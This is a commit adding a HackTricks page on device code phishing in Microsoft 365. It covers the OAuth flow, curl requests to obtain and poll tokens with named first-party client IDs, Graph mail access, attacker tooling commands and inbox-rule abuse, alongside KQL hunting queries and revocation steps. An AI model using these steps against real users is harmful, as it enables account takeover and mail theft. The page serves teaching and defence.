Add content from: The New Hotness in Phishing: Device Code Attacks in M365

This commit is contained in:
HackTricks News Bot
2026-07-21 13:58:06 +00:00
parent c0972aba1e
commit 1b70223a9c
@@ -2,9 +2,148 @@
{{#include ../../../banners/hacktricks-training.md}}
**Check:** [**https://o365blog.com/post/phishing/**](https://o365blog.com/post/phishing/)
## Basic Information
**Device code phishing** abuses the OAuth 2.0 **Device Authorization Grant** so the victim authenticates on the **legitimate** Microsoft page `https://microsoft.com/devicelogin`, completes the real MFA challenge, and still gives the attacker the resulting tokens.
This is **not** a fake login portal and **not** an MFA bypass. The attacker starts the flow, keeps the opaque `device_code`, and tricks the victim into entering the matching `user_code`. When the victim authorizes the request, the **attacker's polling client** receives the **access token**, **refresh token**, and **ID token**.
This works especially well against **Microsoft first-party public clients** because:
- Public clients do **not** have a client secret, so they can be impersonated.
- The protocol does **not** cryptographically bind the code-displaying client to the browser where the victim signs in.
- Requesting `offline_access` can return a **refresh token** that survives the initial ~1 hour access token lifetime.
- With Microsoft **FOCI** behavior, a stolen refresh token may be exchanged for additional Microsoft resources. Check [Az - Tokens & Public Applications](../az-basic-information/az-tokens-and-public-applications.md).
## Attack Flow
1. The attacker requests a device code for a useful public client and resource.
2. Entra returns:
- `user_code`: short value shown to the victim
- `device_code`: opaque value kept by the attacker
- `verification_uri`: usually `https://microsoft.com/devicelogin`
- `interval` / `expires_in`
3. The attacker shows the victim the `user_code` via a lure page or email workflow.
4. The victim opens the **real** Microsoft page, enters the code, signs in, satisfies MFA, and grants consent if requested.
5. The attacker polls the token endpoint until `authorization_pending` becomes a successful token response.
### Device code request
```bash
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
--data-urlencode "scope=https://graph.microsoft.com/.default offline_access"
```
### Poll the token endpoint
```bash
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
--data-urlencode "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
--data-urlencode "device_code=<DEVICE_CODE>"
```
Until the victim finishes the flow the response is typically `authorization_pending`. After approval, the same polling request returns usable tokens.
### Common high-value first-party clients
- `d3590ed6-52b3-4102-aeff-aad2292ab01c` - Microsoft Office
- `04b07795-8ddb-461a-bbee-02f9e1bf7b46` - Azure CLI
- `1950a258-227b-4e31-a9cf-717495945fc2` - Azure PowerShell
## Token Abuse
Once the attacker receives an access token, it can be used directly against Microsoft Graph:
```bash
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/me/messages"
```
Common follow-on actions:
- Read **mail**, **contacts**, and directory relationships.
- Create or modify **inbox rules** to hide warnings or forward mail.
- Access **OneDrive** and **SharePoint** content.
- Keep renewing access with the **refresh token** without another MFA prompt.
> [!WARNING]
> A **password reset alone** does **not** invalidate an already-issued refresh token. Session/token revocation is a separate response action.
## Offensive Tooling
```powershell
Import-Module .\TokenTactics.psd1
Get-AzureToken -Client MSGraph
```
```bash
roadtx gettokens --device-code -c msgraph -r msgraph
```
For refresh-token pivoting, FOCI behavior, and other token exchange tricks, check [Az - Tokens & Public Applications](../az-basic-information/az-tokens-and-public-applications.md).
## Detection & Hunting
The main Entra sign-in indicator is:
- `AuthenticationProtocol == "deviceCode"`
In many environments, any device-code sign-in should be rare enough to baseline individually. Prioritize events with:
- High-value first-party client IDs
- A fast IP/geography split between the victim sign-in and later token use
- Graph / Exchange activity immediately after the sign-in
- `New-InboxRule` or `Set-InboxRule` soon after the sign-in
### Baseline device-code sign-ins
```kusto
SigninLogs
| where AuthenticationProtocol =~ "deviceCode"
| project TimeGenerated, UserPrincipalName, AppDisplayName, AppId, IPAddress, Location, ResourceDisplayName
| order by TimeGenerated desc
```
### Hunt first-party device-code use from multiple IPs in 15 minutes
```kusto
SigninLogs
| where AuthenticationProtocol =~ "deviceCode"
| where AppId in ("d3590ed6-52b3-4102-aeff-aad2292ab01c","04b07795-8ddb-461a-bbee-02f9e1bf7b46","1950a258-227b-4e31-a9cf-717495945fc2")
| summarize IPs=dcount(IPAddress), IPList=make_set(IPAddress, 10) by bin(TimeGenerated, 15m), UserPrincipalName, AppDisplayName, AppId
| where IPs >= 3
```
### Correlate device-code sign-ins with inbox-rule changes
```kusto
let dc = SigninLogs
| where AuthenticationProtocol =~ "deviceCode"
| project DC_Time=TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress;
dc
| join kind=inner (OfficeActivity | where Operation in ("New-InboxRule","Set-InboxRule") | project RuleTime=TimeGenerated, UserId, Operation) on $left.UserPrincipalName == $right.UserId
| where RuleTime between (DC_Time .. DC_Time + 1h)
```
## Prevention & Incident Response
- **Block device-code authentication** in Conditional Access authentication flows and only allow narrow exceptions for documented browserless workflows.
- Train users to **never enter a Microsoft device code unless they initiated the flow themselves** on the device being connected.
- If a phish succeeds, **revoke sessions/refresh tokens**, review Graph/Exchange/SharePoint activity, and remove malicious mailbox rules.
```powershell
Connect-MgGraph -Scopes "User.RevokeSessions.All"
Revoke-MgUserSignInSession -UserId victim@corp.onmicrosoft.com
```
For Conditional Access caveats and MFA-related bypass context, check [Az - Conditional Access Policies & MFA Bypass](../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md).
## References
- [TrustedSec - The New Hotness in Phishing: Device Code Attacks in M365](https://trustedsec.com/blog/the-new-hotness-in-phishing-device-code-attacks-in-m365)
{{#include ../../../banners/hacktricks-training.md}}